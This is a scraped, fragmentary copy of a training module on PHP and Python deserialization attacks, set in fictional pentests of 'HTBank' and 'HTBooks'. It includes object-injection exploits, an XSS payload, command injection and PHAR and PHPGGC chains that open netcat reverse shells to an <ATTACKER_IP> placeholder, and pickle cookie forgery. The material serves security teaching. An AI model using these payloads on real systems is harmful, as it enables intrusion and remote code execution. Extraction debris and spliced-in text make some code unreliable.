Introduction To Deserialization Attacks - @CyberFreeCourses
Introduction To Deserialization Attacks - @CyberFreeCourses
Introduction
Serialization is the process of taking an object from memory and converting it into a
series of bytes so that it can be stored or transmitted over a network and then reconstructed
later on, perhaps by a different program or in a different machine environment.
Deserialization is the reverse action: taking serialized data and reconstructing the
original object in memory.
Python
de
PHP
C#
hi
For the duration of this module, we will only focus on Python and PHP ; however, please
note that the same concepts taught may be reapplied to most, if not all, languages that
support serialization.
PHP Serialization
As an example, this is how we would serialize an array in PHP :
php -a
Interactive shell
https://t.me/CyberFreeCourses
php > var_dump($reconstructed_data);
array(3) {
[0]=>
string(3) "HTB"
[1]=>
int(123)
[2]=>
float(7.77)
}
As you can see, $original_data is an array containing one string ( "HTB" ), one
integer ( 123 ), and one double ( 7.77 ). Using the serialize function, the array is
turned into bytes that represent the array. We carry on to unserialize this serialized string
and restore the original array as verified by the var_dump of $reconstructed_data .
Serialized objects in PHP are easy to read, unlike serialized objects in many other
languages, which may look like complete gibberish to the human eye, as you will see in the
Python example, but before that, let's understand what the letters and numbers in the
serialized data mean: r
.i
a:3:{ // (A)rray with (3) items
i:0;s:3: "HTB"; // (I)ndex (0); (S)tring with length (3) and value:
01
"HTB"
i:1;i:123; // (I)ndex (1); (I)nteger with value (123)
de
Python Serialization
Similar to the PHP example above, we will serialize an array in Python . There are
multiple libraries for Python which implement serialization, such as PyYAML and
JSONpickle. However, Pickle is the native implementation, and it is what will be used in this
example.
python3
https://t.me/CyberFreeCourses
b'\x80\x04\x95\x16\x00\x00\x00\x00\x00\x00\x00]\x94(\x8c\x03HTB\x94K{G@\x1
f\x14z\xe1G\xae\x14e.'
>>> reconstructed_data = pickle.loads(serialized_data)
>>> print(reconstructed_data)
['HTB', 123, 7.77]
Reading the serialized data pickle outputs is much harder than reading the output PHP
provides. However, it is still possible. According to comments in the pickle library, a
pickle is a program for a virtual pickle machine (PM). The PM contains a stack and
a memo (long-term memory), and a pickled object is just a sequence of opcodes for the
PM to execute, which will recreate an arbitrary object on the stack .
The PM's stack is a Last-In-First-Out (LIFO) data structure. You may push items onto the
top of the stack, and you may pop the top object off of the stack.
Quoting from comments in the pickle library, the PM's memo is a "data structure which
remembers which objects the pickler has already seen, so that shared or recursive objects
are pickled by reference and not by value."
In Lib/pickle.py (Python 3.10), we can see all of the pickle opcodes defined, and by
r
.i
referring to them, as well as the source code for the various pickling functions, we can piece
together what our serialized_data does exactly when it is passed to pickle.loads() :
01
'\x80\x04'
de
# PROTO 4
hi
# Tell the PM that we are using protocol version 4. This is the default
since Python 3.8.
# Protocol versions 3-5 can not be unpickled by Python 2.x.
'\x95\x16\x00\x00\x00\x00\x00\x00\x00'
# FRAME 16
# Essentially we are telling the PM that the serialized data is 16 bytes
long.
# The argument is calculated like this:
# `struct.pack("<Q",
len(b']\x94(\x8c\x03HTB\x94K{G@\x1f\x14z\xe1G\xae\x14e.')) =
b'\x16\x00\x00\x00\x00\x00\x00\x00'`.
']'
# EMPTY_LIST
# Pushes an empty list onto the stack.
# Eventually, we will append the items to this list after we have defined
them.
'\x94'
# MEMOIZE
# This stores the object on the top of the stack in the 'memo' which is
https://t.me/CyberFreeCourses
akin to long-term memory.
# The memo is used to keep transient objects alive during pickling.
# In this case we are 'memozing' the empty list we just pushed onto the
stack.
# This opcode is called when pickling any of the following types:
# - __reduce__
# - bytes
# - bytearray
# - string
# - tuple
# - list
# - dict
# - set
# - frozenset
# - global
'('
# MARK
# Pushes the special 'markobject' on the stack.
# This will be referred to later as the starting point for our array
items. r
'\x8c\x03HTB'
.i
# SHORT_BINUNICODE 3 HTB
01
# Pushes the unicode string with length 3 'HTB' onto the stack.
de
'\x94'
# MEMOIZE
hi
# We tell the PM to 'memoize' the string that we just pushed onto the
stack.
'K{'
# BININT1 {
# Pushes a 1-byte unsigned int with value 123 onto the stack.
# '{' is the byte representation of 123 calculated as so:
# `chr(123) = b'{'`
'G@\x1f\x14z\xe1G\xae\x14'
# BINFLOAT @\x1f\x14z\xe1G\xae\x14
# Pushes a float with the value 7.77 onto the stack.
# '@\x1f\x14z\xe1G\xae\x14' is the 8-byte float encoding of 7.77 which is
calculated like this:
# `struct.pack(">d", 7.77) = b'@\x1f\x14z\xe1G\xae\x14'`
'e'
# APPENDS
# We are telling the PM to extend the empty list on the stack with all
items we just defined back up until the 'markobject' we defined earlier.
'.'
https://t.me/CyberFreeCourses
# STOP
# This is how we tell the PM we are at the end of the pickle.
# The original array `['HTB', 123, 7.77]` was recreated and now sits at
the top of the stack.
Introduction
As was stated in the previous section, deserialization is the reverse action to
serialization , specifically taking in serialized data and reconstructing the original object
in memory.
History
de
Deserialization has been known as an attack vector since 2011, but it only went viral in 2016
hi
with the Java Deserialization Apocalypse . This was the result of a talk delivered in
2015, in which security researchers @frohoff and @gebl explained deserialization attacks in
great detail and released the infamous tool for generating Java deserialization payloads
named ysoserial.
Nowadays, insecure deserialization features in the OWASP Top 10 under the A08:2021-
Software and Data Integrity Failures category and many CVEs are published each
year regarding this topic.
Attacks
Throughout this module, we will cover two primary deserialization attacks :
Object Injection
Remote Code Execution
https://t.me/CyberFreeCourses
Object Injection means modifying the serialized data so that the server will receive
unintended information upon deserialization. For example, imagine a serialized object
containing a user's role on the website. If we had control of this object, we could modify it so
that when the server deserializes the object, it will instead say we have an administrative
role.
Identifying Serialization
White-Box
When we have access to the source code, we want to look for specific function calls to
identify possible deserialization vulnerabilities quickly. These functions include (but are
certainly not limited to):
unserialize() - PHP
r
pickle.loads() - Python Pickle
.i
Deserialize() - C# / .NET
hi
Marshal.load() - Ruby
Black-Box
If we do not have access to the source code, it is still easy to identify serialized data due to
the distinct characteristics in serialized data:
https://t.me/CyberFreeCourses
["Test", "Data", [4], "ACADEMY"] - JSONPickle, Python 2.7 / 3.6+
- Test\n- Data\n- - 4\n- ACADEMY\n - PyYAML / ruamel.yaml, Python 3.6+
Bytes starting with AC ED 00 05 73 72 (Hex) or rO0ABXNy (Base64) - Java
Bytes starting with 00 01 00 00 00 ff ff ff ff (Hex) or AAEAAAD///// (Base64) -
C# / .NET
Bytes starting with 04 08 (Hex) - Ruby
Some tools have been developed to detect serialized data automatically. For example
Freddy is an extension for BurpSuite which aids with the detection and exploitation of
Java/.NET serialization.
Onwards
Now that we've covered serialization and deserialization attacks at a high level let's dive
deep into exploiting both PHP and Python deserialization vulnerabilities.
Scenario (HTBank)
de
Let's imagine that HTBank GmbH asked us to perform a white-box assessment of their newly
hi
developed website. They provided us with a URL, the website's source code, and the hint
that it is impossible to create accounts with @htbank.com email addresses because these
are what administrators use.
https://t.me/CyberFreeCourses
We do notice that there is an option to register a new account. We can verify that attempting
to register a user with an @htbank.com email address results in a The email format is
invalid error message, so we will register a test account with the credentials
[email protected]:pentest and subsequently log in.
r
.i
01
de
hi
Note: The fact that pentest is allowed as a password signifies the lack of a password
policy, but this is out of this module's scope.
Once logged in, we are redirected to the home page, which looks to be populated with
placeholder text. Perhaps it is still under development. However, we can see a link in the
navbar to /settings , which we should take a look at.
https://t.me/CyberFreeCourses
On the Settings page, we see that we can update our username, email, password, and
profile picture, as well as import and export some settings. First, we can try to update our
email to @htbank.com , but this fails again. We will ignore the profile picture upload for now
and focus on the Import/Export Settings feature. r
.i
01
de
hi
https://t.me/CyberFreeCourses
Since it is not clear what this string is, we will decode it locally and find out it is a serialized
PHP object.
O:24:"App\Helpers\UserSettings":4:
{s:30:"App\Helpers\UserSettingsName";s:7:"pentest";s:31:"App\Helpers\UserS
ettingsEmail";s:16:"[email
protected]";s:34:"App\Helpers\UserSettingsPassword";s:60:"$2y$10$kPfp572Lj
EN1HDYrBOoWqezWZcee58HteiIStVvRu6ndWimUqBN7a";s:36:"App\Helpers\UserSettin
gsProfilePic";s:11:"default.jpg";}
r
.i
Since this is a white-box test, we should check the source code to see exactly what this
function does. Based on the file structure, we can tell that this is a Laravel application. To
01
save us the effort of looking through each file, we can grep for the message we get after
exporting our settings:
de
hi
./app/Http/Controllers/HTController.php:123: Session::flash('ie-message',
'Exported user settings!');
...
pubHello!
Happy downloading!
https://t.me/CyberFreeCourses
lic function handleSettingsIE(Request $request) {
if (Auth::check()) {
if (isset($request['export'])) {
$user = Auth::user();
$userSettings = new UserSettings($user->name, $user->email,
$user->password, $user->profile_pic);
$exportedSettings = base64_encode(serialize($userSettings));
$userSettings->getName() . "'");
01
}
return back();
de
}
return redirect("/login")->withSuccess('You must be logged in to
hi
Seeing the use of serialize and unserialize confirms that the Base64 string was a
serialized PHP object. In this case, the server accepts a serialized UserSettings object
(which is defined in app/Helpers/UserSettings.php ) and then updates the logged-in
user's details according to the deserialized object's values.
There are no filters or checks on the string when it is imported before it is deserialized, so
this looks a lot like something we will be able to exploit.
Note: Import and export of settings or progress are very popular, especially in games, so
always keep an eye out for these features as they may be vulnerable if not properly secured.
https://t.me/CyberFreeCourses
Updating our Email Address
In the previous section we identified calls to serialize and unserialize in
handleSettingsIE() which looked very interesting. Looking at
app/Helpers/UserSettings.php we can see that Name , Email , Password , and
ProfilePic are the details that are stored in this object.
<?php
namespace App\Helpers;
class UserSettings {
private $Name;
private $Email;
private $Password;
private $ProfilePic;
}
de
https://t.me/CyberFreeCourses
public function __construct($Name, $Email, $Password, $ProfilePic) {
$this->setName($Name);
$this->setEmail($Email);
$this->setPassword($Password);
$this->setProfilePic($ProfilePic);
}
...
With this knowledge, we should be able to generate serialized UserSettings objects with
arbitrary details, and since HTBank GmbH told us specifically that you can't create user
accounts with @htbank.com email addresses, this is the first thing we will try to do.
First, we will create a file called UserSettings.php and copy the contents of
app/Helpers/UserSettings.php into this. Next, we will create another file named
exploit.php in the same directory with the following contents to generate a serialized
UserSettings object with the email address [email protected] and password pentest .
<?php r
include('UserSettings.php');
.i
'[email protected]',
'$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda',
de
'default.jpg')));
hi
We can run this PHP file locally and get our serialized object:
php exploit.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...WMiO3M6MTE6ImRlZmF1bHQuanBnI
jt9
Testing Locally
Before we run any attacks against the real target, since we have the source code, it's a good
idea to test the attack locally first to double-check that everything works as expected.
To avoid having to install many dependencies and set up a MySQL server, we will isolate the
targeted functionality we need to test. In this case our target function is
app/Http/Controllers/HTController.php:handleSettingsIE() , where unserialize is
called.
https://t.me/CyberFreeCourses
We can create a file locally called target.php and put the (slightly modified) contents of
handleSettingsIE() in, specifically :
<?php
include('UserSettings.php');
// $user = Auth::user();
// $user->name = $userSettings->getName();
// $user->email = $userSettings->getEmail();
// $user->password = $userSettings->getPassword();
// $user->profile_pic = $userSettings->getProfilePic();
// $user->save();
print("\n");
print('$user->name = ' . $userSettings->getName() . "\n");
print('$user->email = ' . $userSettings->getEmail() . "\n");
print('$user->password = ' . $userSettings->getPassword() . "\n");
r
print('$user->profile_pic = ' . $userSettings->getProfilePic() . "\n");
.i
print("\n");
01
// }
Now we should be able to test the exploit locally before running it against the live target.
Passing the base64-encoded payload we generated as the argument to target.php we
can see the values that the application would work with after unserializing:
php target.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...WMiO3M6MTE6ImRlZmF1bHQuanBnI
jt9
$user->name = pentest
$user->email = [email protected]
$user->password =
$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda
$user->profile_pic = default.jpg
https://t.me/CyberFreeCourses
ie-message => Imported settings for 'pentest'
Everything looks good, so we can continue to re-run the attack against the live target.
r
.i
01
de
hi
Reflected XSS
We can see in the screenshot above that our username is displayed in the message after
successfully importing a user. Using grep again, we can see that this message is generated
in app/Http/Controllers/HTController.php and assigned to the ie-message variable:
./app/Http/Controllers/HTController.php:135: Session::flash('ie-message',
"Imported settings for '" . $userSettings->getName() . "'");
Searching for the variable name ie-message , we see a few responses, but one sticks out:
https://t.me/CyberFreeCourses
./resources/views/settings.blade.php:53: <p class="text-success">{!!
Session::get('ie-message') !!}</p>
...
Laravel uses the Blade templating engine for rendering its pages, and usually, when we are
displaying variables in templates, we enclose them with {{ ... }} . We can check the
documentation and see that enclosing a variable in {!! ... !!} means it will not be run
through htmlspecialchars before being displayed.
...
echo base64_encode(serialize(new
\App\Helpers\UserSettings('<script>alert(1)</script>', '[email
protected]',
'$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda',
'default.jpg'))); r
.i
php exploit.php
hi
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNld...SNIP...x0LmpwZyI7fQ==
php target.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNld...SNIP...x0LmpwZyI7fQ==
$user->name = <script>alert(1)</script>
$user->email = [email protected]
$user->password =
$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda
$user->profile_pic = default.jpg
We can take this payload, and when we import it into the system, we should get a pop-up
window signifying a successful reflected XSS attack.
https://t.me/CyberFreeCourses
RCE: Magic Methods
Magic Methods
r
.i
In the previous section, we identified that we could give ourselves an @htbank.com email
01
address and found an XSS vulnerability. As the last step, we will try to get remote code
execution on the server.
de
...
public function __construct($Name, $Email, $Password, $ProfilePic) {
$this->setName($Name);
$this->setEmail($Email);
$this->setPassword($Password);
$this->setProfilePic($ProfilePic);
}
https://t.me/CyberFreeCourses
In PHP, functions whose names start with __ are reserved for the language. A subset of
these functions are so-called magic methods which include functions like __sleep ,
__wakeup , __construct and __destruct . These are special methods that overwrite
default PHP actions when invoked on an object.
In total, PHP has 17 magic methods . Ranked based on their usage in open-source projects,
they are the following:
Method Description
__construct Define a constructor for a class. Called when a new instance is created.
E.g. new Class()
__toString Define how an object reacts when treated as a string. E.g. echo $obj
__call Called when you try to call inaccessible methods in an object context
E.g. $obj->doesntExist()
__get Called when you try to read inaccessible properties E.g. $obj-
>doesntExist
__set Called when you try to write inaccessible properties E.g. $obj-
>doesntExist = 1 r
__clone Called when you try to clone an object E.g. $copy = clone $object
.i
__invoke Called when you try to invoke an object as a function, e.g. $obj()
hi
__sleep Called when serializing an object. If __serialize and __sleep are defined,
the latter is ignored. E.g. serialize($obj)
__wakeup Called when deserializing an object. If __unserialize and __wakeup are
defined, the latter is ignored. E.g. unserialize($ser_obj)
__unset Called when you try to unset inaccessible properties E.g. unset($obj-
>doesntExist)
__callStatic Called when you try to call inaccessible methods in a static context E.g.
Class::doesntExist()
__serialize Called when serializing an object. If __serialize and __sleep are defined,
__serialize is used. Only in PHP 7.4+. E.g. unserialize($obj)
https://t.me/CyberFreeCourses
In our example, __construct overrides the default PHP constructor, allowing us to specify
what should happen when a new UserSettings object is created (in this case assigning
values from the constructor's parameters). Defining __sleep for the UserSettings object
means that whenever the object is serialized this function will be executed prior. Similarly,
__wakeup is called right before the object is deserialized .
Knowing what these methods are, __wakeup sticks out to us. We can see that the function
is appending a line to /tmp/htbank.log every time a user is deserialized , which should
be each time user settings are imported into the website. What especially stands out here is
the use of shell_exec with a variable that we control ( $this->getName() returns the
Name property, which we can set).
Seeing that we can control part of the command that is passed to shell_exec , without any
filters, this is an example of a simple command injection. If we set our name to begin with
"; we can break out of the echo command and run whatever other command we want.
...
de
'$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda',
'default.jpg')));
...
php exploit.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...d2ZkYSI7fQ==
We can update our local UserSettings.php to print out the entire command that will be
passed to shell_exec , just to check if everything is good.
...
public function __wakeup() {
print('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported settings
for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
shell_exec('echo "$(date +\'[%d.%m.%Y %H:%M:%S]\') Imported
https://t.me/CyberFreeCourses
settings for user \'' . $this->getName() . '\'" >> /tmp/htbank.log');
}
...
Testing Locally
First, we should start a local Netcat listener and test the payload locally.
php target.php
TzoyNDoiQXBwXEhlbHBlcnNcVXNlclNldHRp...SNIP...d2ZkYSI7fQ==
echo "$(date +'[%d.%m.%Y %H:%M:%S]') Imported settings for user '"; nc -nv
127.0.0.1 9999 -e /bin/bash;#'" >> /tmp/htbank.logNcat: Version 7.93 (
https://nmap.org/ncat )
Ncat: Connected to 127.0.0.1:9999.
We can see that the command injection was successful, and you may notice that none of the
values were printed out like the other times we ran target.php (until we close Netcat).
r
.i
Running against the Target
01
We can restart the listener on our attacking machine and once we import the payload into
the web application we should get a reverse shell:
de
hi
nc -nvlp 9999
Other Attacks
https://t.me/CyberFreeCourses
In the example of HTBank , we used deserialization to control input to shell_exec and
thus control the command that was executed. However, deserialization is not exclusive to
command injection and will not always result in remote code execution, depending on which
magic functions the developers have defined. As an attacker, you must be creative and may
find it possible to conduct attacks such as SQLi, LFI, and DoS via deserialization.
There are a lot of magic methods defined here, but a couple should stick out. We can see in
UserModel.__get() that the MySQL database is queried for the $get column (for example
$userModel->email will result in SELECT email FROM ... ).
<?php
hi
class UserModel {
function __construct($id) {
$this->id = $id;
}
function __get($get) {
$con = mysqli_connect("localhost", "XXXXX", "XXXXX", "htbank");
$result = mysqli_query($con, "SELECT " . $get . " FROM users WHERE
id = " . $this->id);
$row = mysqli_fetch_row($result);
mysqli_close($con);
return $row[0];
}
}
class UserProperty {
function __construct($id, $prop) {
$this->id = $id;
$this->prop = $prop;
$u = new UserModel($id);
https://t.me/CyberFreeCourses
$this->val = $u->$prop;
}
function __toString() {
return $this->val;
}
function __wakeup() {
$u = new UserModel($this->id);
$prop = $this->prop;
$this->val = $u->$prop;
}
}
function POST_Check_User_Property($ser) {
// ...
$u = unserialize($ser);
// ...
return $u;
}
// EXPECTED USAGE:
r
// $password = new UserProperty(1, "password");
.i
For this example, we would be able to carry out the SQL injection attack like so:
hi
php example.php
failed_jobs,migrations,password_resets,personal_access_tokens,users
https://t.me/CyberFreeCourses
Let's go back and review the profile picture upload function we've ignored for now. Inside
app/Http/Controllers/HTController.php:handleSettings() , we can see the following
code, which handles uploaded files.
...
if (!empty($request["profile_pic"])) {
$file = $request->file('profile_pic');
$fname = md5(random_bytes(20));
$file->move('uploads',"$fname.jpg");
$user->profile_pic = "uploads/$fname.jpg";
}
...
Although the website says only JPG are allowed, there doesn't seem to be any validation
on the backend, and we should be able to upload anything. However, we see that the file
name is a random MD5 value with .jpg appended. We can try uploading a PHP file and
see if we can get code execution that way, but we will only get an error message saying that
the browser can not display the image because it is corrupted.
r
If we right-click on the profile picture in the navbar and select "Copy Image Link," we get
.i
We can check out the routes in routes/web.php to see where the /image endpoint is
de
handled:
hi
...
Route::get('/image', [HTController::class, 'getImage'])->name('getImage');
...
public function getImage(Request $request) {
if (file_exists($request->query('_')))
return redirect($request->query('_'));
else
return redirect("/default.jpg");
}
...
https://t.me/CyberFreeCourses
Given that we know we can upload any file to the server, the fact that we can control the
entire path passed to file_exists is a perfect scenario for us to exploit PHAR
deserialization .
In our situation, we can't get the server to redirect to a file within a PHAR archive since it will
try redirecting to http://SERVER_IP:8000/phar://... . However, we don't need to do that
to exploit this.
A PHAR archive has various properties, the most important of which (to us) is metadata.
According to the PHP documentation, metadata can be any PHP variable that can be
serialized. In PHP versions until 8.0, PHP will automatically deserialize metadata when
r
parsing a PHAR file. Parsing a PHAR file means any time a file operation is called in PHP
.i
with the phar:// wrapper. So even calls to functions like file_exists and
01
Note: Since PHP 8.0, this PHAR metadata is not deserialized by default. However, at the
time of writing this module, 55.1% of websites still use PHP 7 so this is still a relevant attack.
hi
Let's create a new file called exploit-phar.php in the same folder as the
UserSettings.php file from before, with the following contents:
<?php
include('UserSettings.php');
$phar->startBuffering();
https://t.me/CyberFreeCourses
$phar->addFromString('0', '');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata(new \App\Helpers\UserSettings('"; nc -nv <ATTACKER_IP>
9999 -e /bin/bash;#', '[email protected]',
'$2y$10$u5o6u2EbjOmobQjVtu87QO8ZwQsDd2zzoqjwS0.5zuPr3hqk9wfda',
'default.jpg'));
$phar->stopBuffering();
In this file, we will generate a PHAR archive named exploit.phar , and set the metadata to
our command injection payload from the last section. Running this should generate
exploit.phar in the same directory, but you may run into the following error:
If you get this error, modify /etc/php/7.4/cli/php.ini like so and then run it again:
de
hi
[Phar]
; phar.readonly = On
phar.readonly = Off
Once we have generated the exploit.phar archive, we can upload it as our profile picture.
With the file uploaded, we can copy the image link and prepend the phar:// wrapper like
this: http://SERVER_IP:8000/image?_=phar://uploads/MD5.jpg . When we visit this link,
the server will call file_exists('phar://uploads/MD5.jpg'), and the metadata should
be deserialized .
Starting a local Netcat listener and browsing to the link results in a reverse shell:
nc -nvlp 9999
If you want to learn more about this attack, I suggest you read this paper from BlackHat
2018.
PHPGGC
In the last three sections, we identified a deserialization vulnerability and exploited it
r
manually in three different ways (XSS and Role Manipulation via Object Injection, as well as
.i
Remote Code Execution). The way we achieved RCE was relatively straightforward:
command injection in a call to shell_exec from __wakeup() . It is possible, and often
01
necessary, to string together a much longer "chain" of function calls to achieve RCE. Doing
de
this manually is out-of-scope for this module. However, there is a tool that we can use to do
this automatically for a selection of PHP frameworks.
hi
PHPGGC is a tool by Ambionics, whose name stands for PHP Generic Gadget Chains . It
contains a collection of gadget chains (a chain of functions) built from vendor code in a
collection of PHP frameworks, which allow us to achieve various actions, including file reads,
writes, and RCE. The best part is with these gadget chains. We don't need to rely on a
vulnerability in a magic function such as the command injection in __wakeup() .
We already established that the application we were testing for HTBank GmbH uses Laravel,
and if we look on the GitHub page for PHPGGC, we can see a large selection of gadget
chains for Laravel, which may result in RCE.
https://t.me/CyberFreeCourses
Receiving objects: 100% (3006/3006), 437.63 KiB | 192.00 KiB/s, done.
Resolving deltas: 100% (1255/1255), done.
After moving into the project directory, we can list all gadget chains for Laravel with the
following command:
phpggc -l Laravel
Gadget Chains
-------------
The version of Laravel used by HTBank GmbH is 8.83.25 , so Laravel/RCE9 should work
just fine. We can see that the Type of this gadget chain is RCE (Function call) . This
hi
means we need to specify a PHP function (and its arguments) that the gadget chain should
call for us.
To get a reverse shell, we want to call the PHP function system() with the argument 'nc -
nv <ATTACKER_IP> 9999 -e /bin/bash' , and so we get the following command (with the
-b flag to get Base64 encoded output):
We can start a Netcat listener, and after importing the Base64 string from PHPGGC into the
web application, we should get a reverse shell:
nc -nvlp 9999
https://t.me/CyberFreeCourses
Ncat: Connection from 172.20.0.4.
Ncat: Connection from 172.20.0.4:39924.
ls -l
total 12
drwxr-xr-x 2 sammy sammy 4096 Oct 8 22:47 css
-rw-r--r-- 1 sammy sammy 0 Sep 20 13:19 favicon.ico
-rw-r--r-- 1 sammy sammy 1710 Sep 20 13:19 index.php
-rw-r--r-- 1 sammy sammy 24 Sep 20 13:19 robots.txt
Note: This payload generated from PHPGGC works, but results in a 500: Server Error
whereas our custom payload did not. This is because PHPGGC does not generate a valid
UserSettings object. If our only goal is to get RCE, this doesn't matter, however.
PHAR(GGC)
Quoting from PHPGGC's GitHub README.md: "At BlackHat US 2018, @s_n_t released
PHARGGC, a fork of PHPGGC which, instead of building a serialized payload, builds a
whole PHAR file. This PHAR file contains serialized data and, as such, can be used for
various exploitation techniques (file_exists, fopen, etc.)." The fork has since been merged
r
into PHPGGC.
.i
We can use PHPGGC to simplify exploiting the PHAR deserialization attack we covered in
01
the previous section. Even better, we can use PHPGGC's vast array of gadget chains, so we
don't need to rely on the command injection vulnerability.
de
Then following the rest of the steps in the last section, we will upload exploit.phar as a
profile picture, copy the link, prepend phar:// to the path, and start a local Netcat listener
to receive our reverse shell:
nc -nvlp 9999
Scenario (HTBooks)
For this next scenario, let's imagine another company named HTBooks GmbH & Co KG hired
us to perform a white-box test of their website. We are given the URL, the source code, and
the credentials: franz.mueller:bierislekker
Initial Recon r
.i
Looking at the main page, we see nothing interesting, just some placeholder text.
01
de
hi
If we click on the Sign up link in the navbar, we will find that user registrations have been
temporarily disabled. Fortunately for us, we were given a set of credentials, so this doesn't
https://t.me/CyberFreeCourses
matter too much.
Heading on over to /login , we can log into the website using the credentials
franz.mueller:bierislekker given to us.
r
.i
01
de
hi
Now that we are logged in, we can navigate to the catalog, where we quickly realize nothing
is interesting. It is just a static list of books in stock and their corresponding statuses.
https://t.me/CyberFreeCourses
If we hover over More in the navbar, we can see a link to the Admin Panel , which is
interesting to us.
r
.i
01
de
hi
However, attempting to visit it will result in an Access Denied message, presumably since
franz.mueller is not an administrator.
https://t.me/CyberFreeCourses
{% if user.isAdmin() %}
...
{% else %}
<div class="notification is-danger">
Access denied.
</div>
{% endif %}
With nothing else to look at on the website, we might start looking through the cookies and
notice this one called auth_8bH3mjF6n9 which holds a base64-encoded value:
r
.i
If we take the value and decode it locally, we can see that it starts with the bytes 80 04 95
01
and ends with a period . If you recall from the Introduction to Deserialization
Attacks section, this very likely means it is a serialized Python object, and specifically
de
echo
gASVSgAAAAAAAACMCXV0aWwuYXV0aJSMB1Nlc3Npb26Uk5QpgZR9lCiMCHVzZXJuYW1llIwNZn
JhbnoubXVlbGxlcpSMBHJvbGWUjAR1c2VylHViLg== | base64 -d | xxd
00000000: 8004 954a 0000 0000 0000 008c 0975 7469 ...J.........uti
00000010: 6c2e 6175 7468 948c 0753 6573 7369 6f6e l.auth...Session
00000020: 9493 9429 8194 7d94 288c 0875 7365 726e ...)..}.(..usern
00000030: 616d 6594 8c0d 6672 616e 7a2e 6d75 656c ame...franz.muel
00000040: 6c65 7294 8c04 726f 6c65 948c 0475 7365 ler...role...use
00000050: 7294 7562 2e r.ub.
Since this is a white-box pentest, we should check the source code to see exactly what this
cookie is. By grepping for the cookie name, we can see that it is defined in
util/config.py :
https://t.me/CyberFreeCourses
And with a follow-up grep , we can see that the cookie is set in app.py ...
./util/config.py:5:AUTH_COOKIE_NAME = "auth_8bH3mjF6n9"
./app.py:13: if util.config.AUTH_COOKIE_NAME in request.cookies:
./app.py:14: user =
util.auth.cookieToSession(request.cookies.get(util.config.AUTH_COOKIE_NAME
))
./app.py:21: if util.config.AUTH_COOKIE_NAME in request.cookies:
./app.py:23: user =
util.auth.cookieToSession(request.cookies.get(util.config.AUTH_COOKIE_NAME
))
./app.py:30: if util.config.AUTH_COOKIE_NAME in request.cookies:
./app.py:31: user =
util.auth.cookieToSession(request.cookies.get(util.config.AUTH_COOKIE_NAME
))
./app.py:38: if util.config.AUTH_COOKIE_NAME in request.cookies:
./app.py:45: if util.config.AUTH_COOKIE_NAME in request.cookies:
./app.py:53: resp.set_cookie(util.config.AUTH_COOKIE_NAME,
auth) r
./app.py:61: resp.set_cookie(util.config.AUTH_COOKIE_NAME, '',
.i
expires=0)
01
de
...
@app.route("/login", methods = ['GET', 'POST'])
def login():
if util.config.AUTH_COOKIE_NAME in request.cookies:
return redirect("/")
if request.method == 'POST':
if util.auth.checkLogin(request.form['username'],
request.form['password']):
resp = make_response(redirect("/"))
sess = util.auth.Session(request.form['username'])
auth = util.auth.sessionToCookie(sess).decode()
resp.set_cookie(util.config.AUTH_COOKIE_NAME, auth)
return resp
return render_template("login.html")
...
In the code snippet from login() we saw that the value of this cookie is generated by
util.auth.sessionToCookie() , so taking a look inside util/auth.py we can see exactly
https://t.me/CyberFreeCourses
what util.auth.Session and util.auth.sessionToCookie() are:
...
class Session:
def __init__(self, username):
con = sqlite3.connect(config.DB_NAME)
cur = con.cursor()
res = cur.execute("SELECT username, role FROM users WHERE username
= ?", (username,))
self.username, self.role = res.fetchone()
con.close()
def getUsername(self):
return self.username
def getRole(self):
return self.role
def isAdmin(self):
return self.role == 'admin'
r
def sessionToCookie(session):
.i
p = pickle.dumps(session)
b = base64.b64encode(p)
01
return b
de
def cookieToSession(cookie):
b = base64.b64decode(cookie)
hi
Reading through the source code, we can confirm that this authentication cookie is a
serialized (pickled) object.
We can see in app.py that the cookieToSession is called when the user tries to access
any page with the auth_8bH3mjF6n9 cookie set. For example, /admin :
...
@app.route("/admin")
def admin():
if util.config.AUTH_COOKIE_NAME in request.cookies:
user =
https://t.me/CyberFreeCourses
util.auth.cookieToSession(request.cookies.get(util.config.AUTH_COOKIE_NAME
))
return render_template("admin.html", user=user)
return redirect("/login")
...
...
r
.i
def isAdmin(self):
return self.role == 'admin'
01
...
de
Since cookies are user-controlled data, our first objective is to forge an authentication cookie
hi
so that we have the admin role instead of the current user so that isAdmin() will return
true and we may access the Admin Panel.
For this exploit, we will need to set up the folder structure to be the same as the project:
tree exploit/
exploit/
├── exploit-admin.py
└── util
└── auth.py
1 directory, 2 files
In the real util/auth.py , the role is selected from the SQLite database, but in our
exploit/util/auth.py we want to be able to specify the role, so we will just recreate the
structure of Session and define our own constructor where it accepts username and role
as parameters. When a class is serialized in Python, the functions defined inside don't
https://t.me/CyberFreeCourses
